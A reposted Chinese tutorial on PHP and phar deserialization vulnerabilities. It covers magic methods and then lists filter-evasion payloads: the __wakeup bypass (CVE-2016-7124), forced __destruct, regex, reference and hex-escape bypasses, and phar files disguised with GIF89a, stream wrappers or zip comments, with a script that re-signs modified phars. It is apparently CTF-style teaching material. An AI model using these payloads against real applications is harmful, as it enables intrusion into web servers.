php(phar)反序列化漏洞及各种绕过姿势

news2024/12/28 3:42:47

概念:

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。简单来说就是我在一个地方构造了一个类,但我要在另一个地方去使用它,那怎么传过去呢?于是就想到了序列化这种东西,将对象先序列化为一个字符串(数据),后续需要使用的时候再进行反序列化即可得到要使用的对象,十分方便。

来看看官方手册怎么说:

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。

php 将数据序列化和反序列化会用到两个函数:

  1. serialize() 将对象格式化成有序的字符串。
  2. unserialize() 将字符串还原成原来的对象。

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

注意:php中创建一个对象和反序列化得到一个对象是有所不同的,例如创建一个对象一般会优先调用 __construct() 方法 ,而反序列化得到一个对象若 存在 __wakeup() 方法则会优先调用它而不去执行 __construct() 。

基本上每个编程语言都有各自的序列化和反序列化方式,格式也各不相同

像有:

  1. 二进制格式
  2. 字节数组
  3. json字符串
  4. xml字符串
  5. python的opCode码 

简单例子

<?php
$arr = array('aa', 'bb', 'cc' => 'dd');
$serarr = serialize($arr);
echo $serarr;
var_dump($arr);

输出

a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}
array(3) {
    [0]=> string(2) "aa"
    [1]=> string(2) "bb"
    ["cc"]=> string(2) "dd"
}

输出的这一串序列表示的是什么呢?

a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}

a:array代表是数组,后面的3说明有三个属性。

i:代表是整型数据int,后面的0是数组下标(O代表Object,也是类)。

s:代表是字符串,后面的2是因为aa长度为2,是字符串长度值。

后面类推。

同时要注意序列化后只有成员变量,没有成员函数。

注意如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,如下:

<?php
class test {
    protected $name;
    private $pass;
    function __construct($name, $pass) {
        $this->name = $name;
        $this->pass = $pass;
    }
}
$a = new test('pankas', '123');
$seria = serialize($a);
echo $seria.'<br/>';
echo urlencode($seria);

直接输出输出则会导致不可见字符\x00的丢失。

O:4:"test":2:{s:7:"*name";s:6:"pankas";s:10:"testpass";s:3:"123";}
O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22%00test%00pass%22%3Bs%3A3%3A%22123%22%3B%7D

反序列化常用魔术方法详细用法请参考 官方文档

__construct()//类的构造函数,创建类对象时调用__destruct()//类的析构函数,对象销毁时调用__call()//在对象中调用一个不可访问方法时调用__callStatic()//用静态方式中调用一个不可访问方法时调用__get()//获得一个类的成员变量时调用__set()//设置一个类的成员变量时调用__isset()//当对不可访问属性调用isset()或empty()时调用__unset()//当对不可访问属性调用unset()时被调用。__sleep()//执行serialize()时,先会调用这个函数__wakeup()//执行unserialize()时,先会调用这个函数,执行后不会执行__construct()函数__toString()//类被当成字符串时的回应方法__invoke()//调用函数的方式调用一个对象时的回应方法__set_state()//调用var_export()导出类时,此静态方法会被调用。__clone()//当对象复制完成时调用__autoload()//尝试加载未定义的类__debugInfo()//打印所需调试信息

各种绕过姿势

绕过__wakeup(CVE-2016-7124)

wakeup()魔术方法在执行unserialize()时,会优先调用这个函数,而不会执行`construct()` 函数。

绕过方法:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function __wakeup(){
        $this->a='def';
    }
    public function  __destruct(){
        echo $this->a;
    }
}

其序列化后为 O:4:"test":1:{s:1:"a";s:3:"abc";}

执行反序列化 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

得到结果为 def ,发现优先执行了 __wakeup() ,并没有执行 __construct()。

当我们把对象的属性个数改大时,改成 O:4:"test":2:{s:1:"a";s:3:"abc";} ,由原来的1个属性改为2个,但test 类真实的属性只有一个,这样就能绕过 __wakeup() 按没有这个魔术方法一样去执行其他相应的魔术方法。

执行反序列化 unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');

得到结果为 abc , 发现优先执行了 __construct() ,并没有执行 __wakeup()。

__destruct()相关

__destruct是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct。

  • 主动调用unset($obj)
  • 主动调用$obj = NULL
  • 程序自动结束

除此之外,PHP还拥有垃圾回收Garbage collection即我们常说的GC机制。

PHP中GC使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调用函数的__destruct。

刚才我们提到了引用计数,其实当一个对象没有任何引用的时候,则会被视为“垃圾”,即

$a = new test();

test 对象被 变量 a 引用, 所以该对象不是“垃圾”,而如果是这样

new test();

或这样

$a = new test();
$a = 1;

这样在 test 在没有被引用或在失去引用时便会被当作“垃圾”进行回收。

如:

<?php
class test{
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."Destroy...\n"; }
}
new test('1');
$a = new test('2');
$a = new test('3');
echo "————————————<br/>";

输出

1Destroy...
2Destroy...
————————————
3Destroy...

这里是当a第二次赋值时,test('2')失去引用,执行__destruct,然后执行echo,当程序完了后test('3')销毁,执行它的__destruct。

举个栗子:

<?php
class test {
    function __destruct()
{
        echo 'success!!';
    }
}
if(isset($_REQUEST['input'])) {
    $a = unserialize($_REQUEST['input']);
    throw new Exception('lose');
}

这里我们要求输出 success!! ,但执行反序列化后得到的对象有了引用,给了 a 变量,后面程序接着就抛出一个异常,非正常结束,导致未正常完成 GC 机制,即没有执行 __destruct 。

直接构造反序列化 test 类得到:

所以我们要反序列化手动去 “销毁” 创造的对象。这里我们可以利用数组来完成。构造:

class test {}
$a = serialize(array(new test, null));
echo $a.'<br/>';
$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为null
echo $a;

得到

a:2:{i:0;O:4:"test":0:{}i:1;N;}
a:2:{i:0;O:4:"test":0:{}i:0;N;}//最终payload

传入,成功得到 success!!

我们序列化一个数组对象,考虑反序列化本字符串,因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为对象,同时我们又将Array[0]设置为null,这样前面的test对象便丢失了引用,就会被GC所捕获,就可以执行__destruct了。

绕过正则

如preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头。

绕过方法

  • 利用加号绕过(注意在url里传参时+要编码为%2B)。
  • 利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)。
<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a.PHP_EOL;
    }
}
 
function match($data){
    if (preg_match('/^O:\d+/',$data)){
        die('nonono!');
    }else{
        return $data;
    }
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放入数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

利用引用绕过

如下,要求输出 you success,但构造的序列化字符串中不能由 aaa

<?php
class test {
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'aaa';
    }
    public function __destruct(){
 
        if($this->a === $this->b) {
            echo 'you success';
        }
    }
}
if(isset($_REQUEST['input'])) {
    if(preg_match('/aaa/', $_REQUEST['input'])) {
       die('nonono');
    }
    unserialize($_REQUEST['input']);
}else {
    highlight_file(__FILE__);
}

可以利用引用进行绕过

class test {
    public $a;
    public $b;
    public function __construct(){
        $this->b = &$this->a;
    }
}
$a = serialize(new test());
echo $a;
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}

构造引用使得 $b 和 $a 地址相同从而绕过检测,达成要求。

16进制绕过字符的过滤

序列字符串中表示字符类型的s大写时,会被当成16进制解析。

举个栗子:

<?php
class test{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
    public function  __destruct(){
        echo 'success';
    }
}
function check($data){
    if(preg_match('/username/', $data)){
        echo("nonono!!!</br>");
    }
    else{
        return $data;
    }
}
// 未作处理前,会被waf拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 将小s改为大S; 做处理后 \75是u的16进制, 成功绕过
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

输出

phar反序列化

有关phar的基本介绍及利用方法

同时应该重点关注官方文档中有关 phar 的介绍 (一定要关注官方文档,官方文档yyds)

生成phar

<?php
class TestObject {
}
 
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

ps:注意phar中存储的对象反序列化之后会被phar对象的metadata属性引用。

一些绕过方式

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过。

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

也可以利用其它协议, 如 filter 过滤器。

php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过。


$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
//生成一个phar.phar,修改后缀名为phar.gif

过滤了__HALT_COMPILER();

参考 https://guokeya.github.io/post/uxwHLckwx (原理)

姿势1:

**将phar文件进行gzip压缩** ,使用压缩后phar文件同样也能反序列化 (常用)

linux下使用命令gzip phar.phar 生成。

姿势2:

将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过

$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();

phar 文件签名修改

对于某些情况,我们需要修改phar文件中的内容而达到某些需求(比如要绕过__wakeup要修改属性数量),而修改后的phar文件由于文件发生改变,所以须要修改签名才能正常使用,官方文档中是这么说:

Phar Signature format(https://www.php.net/manual/zh/phar.fileformat.signature.php#phar.fileformat.signature

Phars containing a signature always have the signature appended to the end of the Phar archive after the loader, manifest, and file contents. The signature formats supported at this time are MD5, SHA1, SHA256, SHA512, and OPENSSL.

用winhex或010-editor查看phar文件签名类型(以上述代码生成的phar文件为例)

以默认的sha1签名为例:

from hashlib import sha1
with open('phar.phar', 'rb') as file:
    f = file.read()     # 修改内容后的phar文件,以二进制文件形式打开
 
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
 
with open('newPhar.phar', 'wb') as file:
    file.write(newf) # 写入新文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/422166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

句柄泄露的分析思路

基础知识 问题 什么是句柄&#xff1f; 句柄(file descriptor)即文件描述符&#xff0c;简称fd。Linux 系统中&#xff0c;把一切设备都视作文件&#xff0c;当进程打开现有文件或创建新文件时&#xff0c;内核向进程返回一个文件描述符。 FD作为文件句柄的实例&#xff0c;…

Nacos安装配置

一、下载Nacos Server。 通过Release页面进行下载&#xff0c;这里我以windows版本为例。 二、修改Nacos Server配置文件。 下载完成后&#xff0c;解压安装包后得到如下文件夹 为了配置集群&#xff0c;将nacos-server复制相同的两份&#xff0c;分别为命名为nacos-clust…

Java中有了equals(),为什么还有“==“

背景&#xff1a;Java中“一切皆是对象”&#xff0c;为什么还有非对象的“”&#xff1f; 在Java语言假设我们只进行OOP&#xff0c;所以Java代码都是由一个接着一个的类组成的。那么&#xff0c;对象之间比较&#xff0c;用equals()就可以了。 可为什么“”在代码随处可见呢…

海尔智家业绩尚可,但其智能家居“全场景”没做起来

‍数据智能产业创新服务媒体——聚焦数智 改变商业近日&#xff0c;海尔智家发布了其2022年年报&#xff0c;数据显示&#xff0c;2022年海尔智家实现收入2435.14亿元&#xff0c;同比增长7.2%&#xff1b;扣非归母净利润139.63亿元&#xff0c;同比增长18%&#xff0c;利润增…

消息队列kafka及zookeeper机制

目录 一、zookeeper 1、zookeeper简介 2、zookeeper特点 3、zookeeper工作模式及机制 4、zookeeper应用场景及选举机制 5、zookeeper集群部署 ①实验环境 ②安装zookeeper 二、消息队列kafka 1、为什么要有消息队列 2、使用消息队列的好处 3、kafka简介 4、kafka…

多模态模型学习1——CLIP对比学习 语言-图像预训练模型

多模态模型学习1——CLIP对比学习 语言-图像预训练模型学习前言什么是CLIP模型代码下载CLIP实现思路一、网络结构介绍1、Image Encodera、PatchPosition Embeddingb、Transformer EncoderI、Self-attention结构解析II、Self-attention的矩阵运算III、MultiHead多头注意力机制IV…

maya arnold自定义aov分层灯光组添加方法

一、问题描述&#xff1a; maya的arnold aov层灯光组(Light groups)运用有两种方法&#xff0c;总结一下使用笔记。灯光效果如下图&#xff1a; 二、制作过程&#xff1a; 1、灯光的布局主要用了两盏区域光&#xff0c;主光和辅助光。如下图&#xff1a; 2、主光为白色&am…

windows10下VS2019编译jpegsrc.v9e.tar.gz为lib静态库(已验证)

一、下载jpegsrc 1、下载JPEG库的源代码 http://www.ijg.org/files/ 2、这里使用最新的jpegsr9e.zip &#xff0c;别下载错误了&#xff08;jpegsrc.v9e.tar.gz 是RAM架构的仅支持32位&#xff09; 3、解压jpegsr9e.zip到d盘&#xff0c;如&#xff1a;D:\jpeg-9e 二、vs2019…

【Blender 水墨材质】实现过程简单剖析

写在前面 想把Blender一位大佬演示的Blender水墨材质过程&#xff0c;在Unity用Shader重现&#xff0c;过程中会拿能拿到的节点代码举例&#xff08;ShaderGraph或者UE的都会有&#xff09;。第一步当然是要跟着人家做一遍&#xff01;我会尽可能地分析一下每一步的原理~ 教程…

【数据挖掘与商务智能决策】第十二章 XGBoost算法和LightGBM算法

12.1.3 XGBoost算法的简单代码实现 XGBoost模型既可以做分类分析&#xff0c;也可以做回归分析&#xff0c;分别对应的模型为XGBoost分类模型&#xff08;XGBClassifier&#xff09;及XGBoost回归模型&#xff08;XGBRegressor&#xff09;。 XGBoost模型的安装办法可以采用P…

Linux--进程信号

前言 无人问津也好&#xff0c;技不如人也罢&#xff0c;你都要试着安静下来&#xff0c;去做自己该做的事情&#xff0c;而不是让烦恼和焦虑毁掉你不就不多的热情和定力。心可以碎&#xff0c;手不能停&#xff0c;该干什么干什么&#xff0c;在崩溃中继续努力前行&#xff0c…

MyBatis整合Springboot多数据源实现

前言 数据源&#xff0c;实际就是数据库连接池&#xff0c;负责管理数据库连接&#xff0c;在Springboot中&#xff0c;数据源通常以一个bean的形式存在于IOC容器中&#xff0c;也就是我们可以通过依赖注入的方式拿到数据源&#xff0c;然后再从数据源中获取数据库连接。 那么…

easyrecovery2023电脑文件数据恢复软件功能介绍

EasyRecovery功能全面&#xff0c;即便是没有经验的小白用户也可以很快上手&#xff0c;让你足不出户即可搞定常见的数据丢失问题。 在使用和操作存储设备期间&#xff0c;数据丢失问题在所难免。比如&#xff0c;误删除某个文件、不小心将有数据的分区格式化、误清空了有重要…

【ZUUL2踩坑】题一:Ribbon集成动态properties存在的原生风险

目录 一、问题背景 二、问题分析 1、配置文件空档期的问题 一、问题背景 JAVA的Properties工具有两种写配置文件的方式&#xff0c;一种是覆盖&#xff0c;一种是追加。 但是动态配置文件一般需要进行创建或更新&#xff0c;不会选择追加内容&#xff0c;所以只能选择进行配…

你的 Kubernetes 安全吗?最新benchmark的重要趋势解读

导语 疫情过后经济处在缓慢复苏的阶段&#xff0c;对于企业应该优先考虑数字化转型&#xff0c;因为它可以促进增长和创新。 不可避免地&#xff0c;当今的数字化转型计划依赖于云的可扩展性和灵活性。 虽然在云中启动应用程序和服务带来了许多机遇&#xff0c;但也带来了新的…

函数栈帧的创建与销毁

魔王的介绍&#xff1a;&#x1f636;‍&#x1f32b;️一名双非本科大一小白。魔王的目标&#xff1a;&#x1f92f;努力赶上周围卷王的脚步。魔王的主页&#xff1a;&#x1f525;&#x1f525;&#x1f525;大魔王.&#x1f525;&#x1f525;&#x1f525; ❤️‍&#x1…

【数据结构与算法】基于回溯算法实现八皇后问题

八皇后问题是一个经典的计算机科学问题&#xff0c;它的目标是将8个皇后放置在一个大小为88的棋盘上&#xff0c;使得每个皇后都不会攻击到其他的皇后。皇后可以攻击同一行、同一列和同一对角线上的棋子。 一、八皇后问题介绍 八皇后问题最早由国际西洋棋大师马克斯贝瑟尔在18…

Pandas入门实践3 -数据可视化

人类大脑擅长于在数据的视觉表现中寻找模式;因此在这一节中&#xff0c;我们将学习如何使用pandas沿着Matplotlib和Seaborn库来可视化数据&#xff0c;以获得更多的特性。我们将创建各种可视化&#xff0c;帮助我们更好地理解数据。 使用pandas绘图 我们可以使用plot()方法创…

网络安全之防病毒网关

目录 网络安全之防病毒网关 恶意软件 按照传播方式分类 病毒 蠕虫 木马 按照功能分类 后门 勒索 挖矿 恶意代码的特征 下载特征 后门特征 信息收集特征 自身感染特性 文件感染特性 网络攻击特性 病毒威胁场景 病毒传播途径 电子信息 网络共享 P2P 系统漏洞 广…

电压有效值电容和电感的电压电流相位关系以及电抗和容抗值推导

注意下面所有www表示的都是角速度而不是频率 电压有效值 高中物理中知道有效值电压是根据电阻发热的功率等效得到的 对于正弦波的电压&#xff0c;UUmsinwtUU_{m}sinwtUUm​sinwt,对应的电流IUmRsinwtI\frac{U_{m}}{R}sinwtIRUm​​sinwt 求得一个周期的发热量 ∫0TI2Rdt∫0T…